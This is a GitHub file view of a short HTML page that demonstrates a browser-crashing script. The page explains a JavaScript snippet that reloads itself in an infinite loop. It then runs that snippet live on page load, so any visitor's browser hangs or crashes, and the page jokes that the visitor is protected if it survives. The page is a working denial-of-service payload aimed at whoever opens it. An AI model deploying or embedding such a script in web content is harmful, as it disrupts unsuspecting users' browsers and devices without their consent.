-
Notifications
You must be signed in to change notification settings - Fork 5
/
js.html
27 lines (19 loc) · 1019 Bytes
/
js.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
<body>
<h1>This page contain this code : setTimeout(() => { while (1) location.reload(1); }, 100);</h1>
<h1>This little script creates an infinite loop that continuously refreshes the current web page. <br> It uses a while loop with the condition 1, which is always true, causing the code inside the loop to execute indefinitely.<br> Inside the loop, it calls location.reload(1) to reload the current page. The argument 1 passed to location.reload indicates a "hard" reload, which means the page is reloaded from the server rather than using cached resources.</h1>
<h1>If your browser has not crashed then this is who is well protected against these types of attacks !</h1>
<h1>But if it crashed then try a better browser or update it ;)</h1>
<script>setTimeout(() => { while (1) location.reload(1); }, 100);</script>
</body>
<style>
h1{
text-align: start;
font-size: 30px;
}
body{
background-color: black;
color: white;
}
</style>
</html>